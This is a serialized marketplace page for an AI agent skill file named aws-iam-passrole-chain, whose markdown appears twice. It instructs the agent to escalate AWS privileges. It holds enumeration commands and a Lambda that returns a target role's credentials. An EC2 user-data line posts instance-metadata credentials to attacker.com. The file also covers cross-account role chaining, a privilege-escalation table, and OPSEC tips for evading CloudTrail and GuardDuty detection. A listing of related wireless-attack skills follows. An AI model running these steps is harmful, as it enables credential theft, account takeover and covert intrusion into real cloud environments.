[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78H8AS2E9C3SM1PSD6WGN76":3,"skill-same:01M78H8AS2E9C3SM1PSD6WGN76":49},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":13,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M78H8AS2E9C3SM1PSD6WGN76","aws-iam-passrole-chain",null,"AWS IAM privilege escalation via `iam:PassRole` chains — Lambda\u002FGlue\u002FSagemaker\u002FEC2\u002FECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Faws-iam-passrole-chain\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: aws-iam-passrole-chain\ndescription: \"AWS IAM privilege escalation via `iam:PassRole` chains — Lambda\u002FGlue\u002FSagemaker\u002FEC2\u002FECS PassRole to a higher-priv role, AssumeRole chains across accounts, sts:GetCallerIdentity recon, account hijack via legacy root-mfa-bypass.\"\nallowed-tools: Bash Read Write\nmetadata:\n  when_to_use: \"aws iam passrole assumerole privilege escalation lambda glue sagemaker ec2 ecs role chain account pivot sts getcalleridentity\"\n  subdomain: cloud\n  tags: aws, iam, privilege-escalation, passrole\n  mitre_attack: T1078.004, T1098, T1550.001\n---\n\n# AWS IAM PassRole Chain\n\nYou have AWS credentials (env vars, ~\u002F.aws\u002Fcredentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.\n\n## Enumerate\n\n```bash\naws sts get-caller-identity                                  # who are you?\naws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d\u002F -f2)\naws iam list-user-policies --user-name \u003Cyou>\naws iam get-account-summary\n\n# Or for a role (e.g., EC2 instance):\naws sts get-caller-identity                                  # check Arn = role\nROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d\u002F -f2)\naws iam list-attached-role-policies --role-name $ROLE\naws iam list-role-policies --role-name $ROLE\n```\n\nUse [Pacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu) — `enum_permissions` — for the canonical enumeration.\n\n## Phase 1: Identify your PassRole targets\n\n```bash\n# What roles can your principal PassRole?\n# Check policy for iam:PassRole — note the Resource:\naws iam get-policy-version --policy-arn arn:aws:iam::aws:policy\u002F\u003Cyour-policy> --version-id v1 \\\n  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?==\"iam:PassRole\" or .Action==\"iam:PassRole\")'\n\n# List all roles (need iam:ListRoles)\naws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text\n```\n\n## Phase 2: PassRole → execute as higher-priv role\n\n### Lambda — most common path\n```bash\n# Create a Lambda that runs as TARGET_ROLE and returns its credentials\ncat > pwn.py \u003C\u003C'EOF'\ndef lambda_handler(event, context):\n    import os\n    return {\n        \"AKI\": os.environ[\"AWS_ACCESS_KEY_ID\"],\n        \"SAK\": os.environ[\"AWS_SECRET_ACCESS_KEY\"],\n        \"TOK\": os.environ[\"AWS_SESSION_TOKEN\"],\n    }\nEOF\nzip pwn.zip pwn.py\naws lambda create-function --function-name pwn --runtime python3.11 \\\n  --role arn:aws:iam::ACCT:role\u002FTARGET_ROLE --handler pwn.lambda_handler \\\n  --zip-file fileb:\u002F\u002Fpwn.zip\naws lambda invoke --function-name pwn \u002Ftmp\u002Fo.json && cat \u002Ftmp\u002Fo.json\n# \u002Ftmp\u002Fo.json now contains TARGET_ROLE credentials\n```\n\n### Glue Dev Endpoint\n```bash\naws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role\u002FTARGET_ROLE\n# SSH into it; whoami is TARGET_ROLE\n```\n\n### EC2 Instance Profile\n```bash\naws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \\\n  --iam-instance-profile Name=TARGET_PROFILE --user-data \"$(printf '#!\u002Fbin\u002Fbash\\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FTARGET_ROLE > \u002Ftmp\u002Fc.json && curl -X POST -d @\u002Ftmp\u002Fc.json https:\u002F\u002Fattacker.com\u002Fx')\"\n```\n\n### SageMaker Notebook\n```bash\naws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \\\n  --role-arn arn:aws:iam::ACCT:role\u002FTARGET_ROLE\n# Then open the notebook URL; in a cell: !aws sts get-caller-identity\n```\n\n## Phase 3: AssumeRole chains across accounts\n\n```bash\n# If you have sts:AssumeRole on a cross-account role:\naws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role\u002FCROSSACCT_ROLE --role-session-name pwn\n# Use the returned Credentials for the next hop.\n\n# Chain depth — repeat assume-role with each new principal.\n```\n\n## Phase 4: Privilege escalation classes (Pacu — `iam__privesc_scan`)\n\n| Method | Required permission |\n|---|---|\n| `CreateNewPolicyVersion` | `iam:CreatePolicyVersion` on a policy attached to a higher-priv user |\n| `SetExistingDefaultPolicyVersion` | `iam:SetDefaultPolicyVersion` |\n| `CreateAccessKey` | `iam:CreateAccessKey` on a higher-priv user |\n| `CreateLoginProfile` | `iam:CreateLoginProfile` — log in as the target user via console |\n| `UpdateLoginProfile` | `iam:UpdateLoginProfile` — reset the target user's console password |\n| `AttachUserPolicy` | `iam:AttachUserPolicy` — attach `AdministratorAccess` to yourself |\n| `AttachGroupPolicy` | `iam:AttachGroupPolicy` |\n| `AttachRolePolicy` | `iam:AttachRolePolicy` |\n| `PutUserPolicy` | `iam:PutUserPolicy` — inline policy bypass |\n| `AddUserToGroup` | `iam:AddUserToGroup` — add yourself to admins |\n| `UpdateAssumeRolePolicy` | `iam:UpdateAssumeRolePolicy` — make a role assumable by you |\n| `PassExistingRoleToNewLambda` | `iam:PassRole` + `lambda:CreateFunction\u002FInvokeFunction` |\n| `PassExistingRoleToNewGlueDevEndpoint` | as above for Glue |\n| `EditExistingLambdaFunctionWithRole` | `lambda:UpdateFunctionCode` on an existing Lambda |\n| `PassExistingRoleToNewCloudFormation` | `iam:PassRole` + `cloudformation:CreateStack` |\n| `PassExistingRoleToNewDataPipeline` | as above for Data Pipeline |\n| `CodeStarCreateProjectFromTemplate` | exotic — older accounts |\n\n## OPSEC\n\n- Every IAM and STS call is in CloudTrail. Volume of `assume-role` is normal — `create-function` with a new role is not.\n- GuardDuty has finding types `Recon:IAMUser\u002FResourceConsumption` and `Privilege Escalation:IAMUser\u002FAnomalousBehavior`. Move slowly.\n- For low-noise: use existing Lambda functions (replace their code) rather than creating new ones — `UpdateFunctionCode` is far more common in normal traffic.\n- Sensitive: GuardDuty flags `AwsApiCall: PutEventSelectors \u002F StopLogging` on CloudTrail — don't try to silence telemetry.\n\n## References\n\n- Pacu (RhinoSecurityLabs) — automated enum + privesc\n- \"AWS IAM Privilege Escalation Methods\" — Spencer Gietzen, RhinoSecurityLabs\n- ScoutSuite, Prowler — defender perspective\n- DEFCON 30 \"Cloud Village\" — recurring AWS IAM track\n","# AWS IAM PassRole Chain\n\nYou have AWS credentials (env vars, ~\u002F.aws\u002Fcredentials, EC2 IMDS, ECS task role, leaked GitHub keys). Find the path to higher privilege via PassRole.\n\n## Enumerate\n\n```bash\naws sts get-caller-identity                                  # who are you?\naws iam list-attached-user-policies --user-name $(aws sts get-caller-identity --query Arn --output text | cut -d\u002F -f2)\naws iam list-user-policies --user-name \u003Cyou>\naws iam get-account-summary\n\n# Or for a role (e.g., EC2 instance):\naws sts get-caller-identity                                  # check Arn = role\nROLE=$(aws sts get-caller-identity --query Arn --output text | cut -d\u002F -f2)\naws iam list-attached-role-policies --role-name $ROLE\naws iam list-role-policies --role-name $ROLE\n```\n\nUse [Pacu](https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu) — `enum_permissions` — for the canonical enumeration.\n\n## Phase 1: Identify your PassRole targets\n\n```bash\n# What roles can your principal PassRole?\n# Check policy for iam:PassRole — note the Resource:\naws iam get-policy-version --policy-arn arn:aws:iam::aws:policy\u002F\u003Cyour-policy> --version-id v1 \\\n  | jq '.PolicyVersion.Document.Statement[] | select(.Action[]?==\"iam:PassRole\" or .Action==\"iam:PassRole\")'\n\n# List all roles (need iam:ListRoles)\naws iam list-roles --query 'Roles[].[RoleName,AssumeRolePolicyDocument]' --output text\n```\n\n## Phase 2: PassRole → execute as higher-priv role\n\n### Lambda — most common path\n```bash\n# Create a Lambda that runs as TARGET_ROLE and returns its credentials\ncat > pwn.py \u003C\u003C'EOF'\ndef lambda_handler(event, context):\n    import os\n    return {\n        \"AKI\": os.environ[\"AWS_ACCESS_KEY_ID\"],\n        \"SAK\": os.environ[\"AWS_SECRET_ACCESS_KEY\"],\n        \"TOK\": os.environ[\"AWS_SESSION_TOKEN\"],\n    }\nEOF\nzip pwn.zip pwn.py\naws lambda create-function --function-name pwn --runtime python3.11 \\\n  --role arn:aws:iam::ACCT:role\u002FTARGET_ROLE --handler pwn.lambda_handler \\\n  --zip-file fileb:\u002F\u002Fpwn.zip\naws lambda invoke --function-name pwn \u002Ftmp\u002Fo.json && cat \u002Ftmp\u002Fo.json\n# \u002Ftmp\u002Fo.json now contains TARGET_ROLE credentials\n```\n\n### Glue Dev Endpoint\n```bash\naws glue create-dev-endpoint --endpoint-name pwn --role-arn arn:aws:iam::ACCT:role\u002FTARGET_ROLE\n# SSH into it; whoami is TARGET_ROLE\n```\n\n### EC2 Instance Profile\n```bash\naws ec2 run-instances --image-id ami-0c55b159cbfafe1f0 --instance-type t2.micro \\\n  --iam-instance-profile Name=TARGET_PROFILE --user-data \"$(printf '#!\u002Fbin\u002Fbash\\ncurl -s http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002Fiam\u002Fsecurity-credentials\u002FTARGET_ROLE > \u002Ftmp\u002Fc.json && curl -X POST -d @\u002Ftmp\u002Fc.json https:\u002F\u002Fattacker.com\u002Fx')\"\n```\n\n### SageMaker Notebook\n```bash\naws sagemaker create-notebook-instance --notebook-instance-name pwn --instance-type ml.t2.medium \\\n  --role-arn arn:aws:iam::ACCT:role\u002FTARGET_ROLE\n# Then open the notebook URL; in a cell: !aws sts get-caller-identity\n```\n\n## Phase 3: AssumeRole chains across accounts\n\n```bash\n# If you have sts:AssumeRole on a cross-account role:\naws sts assume-role --role-arn arn:aws:iam::OTHER_ACCT:role\u002FCROSSACCT_ROLE --role-session-name pwn\n# Use the returned Credentials for the next hop.\n\n# Chain depth — repeat assume-role with each new principal.\n```\n\n## Phase 4: Privilege escalation classes (Pacu — `iam__privesc_scan`)\n\n| Method | Required permission |\n|---|---|\n| `CreateNewPolicyVersion` | `iam:CreatePolicyVersion` on a policy attached to a higher-priv user |\n| `SetExistingDefaultPolicyVersion` | `iam:SetDefaultPolicyVersion` |\n| `CreateAccessKey` | `iam:CreateAccessKey` on a higher-priv user |\n| `CreateLoginProfile` | `iam:CreateLoginProfile` — log in as the target user via console |\n| `UpdateLoginProfile` | `iam:UpdateLoginProfile` — reset the target user's console password |\n| `AttachUserPolicy` | `iam:AttachUserPolicy` — attach `AdministratorAccess` to yourself |\n| `AttachGroupPolicy` | `iam:AttachGroupPolicy` |\n| `AttachRolePolicy` | `iam:AttachRolePolicy` |\n| `PutUserPolicy` | `iam:PutUserPolicy` — inline policy bypass |\n| `AddUserToGroup` | `iam:AddUserToGroup` — add yourself to admins |\n| `UpdateAssumeRolePolicy` | `iam:UpdateAssumeRolePolicy` — make a role assumable by you |\n| `PassExistingRoleToNewLambda` | `iam:PassRole` + `lambda:CreateFunction\u002FInvokeFunction` |\n| `PassExistingRoleToNewGlueDevEndpoint` | as above for Glue |\n| `EditExistingLambdaFunctionWithRole` | `lambda:UpdateFunctionCode` on an existing Lambda |\n| `PassExistingRoleToNewCloudFormation` | `iam:PassRole` + `cloudformation:CreateStack` |\n| `PassExistingRoleToNewDataPipeline` | as above for Data Pipeline |\n| `CodeStarCreateProjectFromTemplate` | exotic — older accounts |\n\n## OPSEC\n\n- Every IAM and STS call is in CloudTrail. Volume of `assume-role` is normal — `create-function` with a new role is not.\n- GuardDuty has finding types `Recon:IAMUser\u002FResourceConsumption` and `Privilege Escalation:IAMUser\u002FAnomalousBehavior`. Move slowly.\n- For low-noise: use existing Lambda functions (replace their code) rather than creating new ones — `UpdateFunctionCode` is far more common in normal traffic.\n- Sensitive: GuardDuty flags `AwsApiCall: PutEventSelectors \u002F StopLogging` on CloudTrail — don't try to silence telemetry.\n\n## References\n\n- Pacu (RhinoSecurityLabs) — automated enum + privesc\n- \"AWS IAM Privilege Escalation Methods\" — Spencer Gietzen, RhinoSecurityLabs\n- ScoutSuite, Prowler — defender perspective\n- DEFCON 30 \"Cloud Village\" — recurring AWS IAM track\n",{"name":5,"metadata":23,"description":7,"allowed-tools":28},{"tags":24,"subdomain":25,"when_to_use":26,"mitre_attack":27},"aws, iam, privilege-escalation, passrole","cloud","aws iam passrole assumerole privilege escalation lambda glue sagemaker ec2 ecs role chain account pivot sts getcalleridentity","T1078.004, T1098, T1550.001","Bash Read Write","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Faws-iam-passrole-chain","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill aws-iam-passrole-chain",{"tool":41,"command":42},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill aws-iam-passrole-chain",{"tool":44,"command":45},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill aws-iam-passrole-chain","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fcloud\u002Faws-iam-passrole-chain\u002FSKILL.md",true,[],[50,57,64,71,78,85],{"skillNo":51,"name":52,"nameZh":6,"description":53,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":54,"categories":55,"keywords":56,"publishedAt":18},"01M78JAX15GZR5Q5S7RMPWFX43","wps-pixie-dust","WPS Pixie-Dust offline nonce attack (reaver -K \u002F pixiewps) and fallback online PIN brute (bully) to recover the AP's WPA PSK without capturing a handshake.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwps-pixie-dust\u002FSKILL.md",[],[],{"skillNo":58,"name":59,"nameZh":6,"description":60,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":61,"categories":62,"keywords":63,"publishedAt":18},"01M78JARXE0ZER8P81SFD024YP","wpa3-sae","WPA3-SAE transition-mode downgrade (DragonShift), SSID Confusion CVE-2023-52424, Dragonblood side-channels, and SAE captive-portal credential recovery against WPA3-Personal networks.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa3-sae\u002FSKILL.md",[],[],{"skillNo":65,"name":66,"nameZh":6,"description":67,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":68,"categories":69,"keywords":70,"publishedAt":18},"01M78JANJNH8VMR0CK1Y6AM74G","wpa2-psk","WPA\u002FWPA2-PSK handshake capture via targeted deauth + PMKID (no deauth required) + offline hashcat cracking. The most common consumer\u002FSMB encryption mode in 2026.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa2-psk\u002FSKILL.md",[],[],{"skillNo":72,"name":73,"nameZh":6,"description":74,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":75,"categories":76,"keywords":77,"publishedAt":18},"01M78JAFCYR2BAJF7KH0ZCXREA","wpa-enterprise-eap","WPA\u002FWPA2\u002FWPA3-Enterprise (802.1X\u002FEAP) rogue-RADIUS evil-twin for MSCHAPv2 capture, GTC downgrade, and PEAP relay. MSCHAPv2 capture equals a NetNTLM hash — the primary wireless on-ramp to Active Directory.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fwpa-enterprise-eap\u002FSKILL.md",[],[],{"skillNo":79,"name":80,"nameZh":6,"description":81,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":82,"categories":83,"keywords":84,"publishedAt":18},"01M78JAAQ5T08FR9MY5SFNRWBM","krack-fragattacks","KRACK key-reinstallation (CVE-2017-13077..13082) and FragAttacks fragmentation\u002Faggregation flaws (CVE-2020-24586..24588, CVE-2020-26139..26147) against legacy or embedded 802.11 supplicants with poor patch cadence.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fkrack-fragattacks\u002FSKILL.md",[],[],{"skillNo":86,"name":87,"nameZh":6,"description":88,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":89,"categories":90,"keywords":91,"publishedAt":18},"01M78JA6799JQZE0M9B21HRMGY","evil-twin-karma","Evil-twin rogue AP with KARMA\u002FMana PNL-probe response, captive-portal credential capture, and post-association MITM for PSK\u002Fopen networks. Distinct from wpa-enterprise-eap which targets 802.1X.","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fwireless\u002Fevil-twin-karma\u002FSKILL.md",[],[]]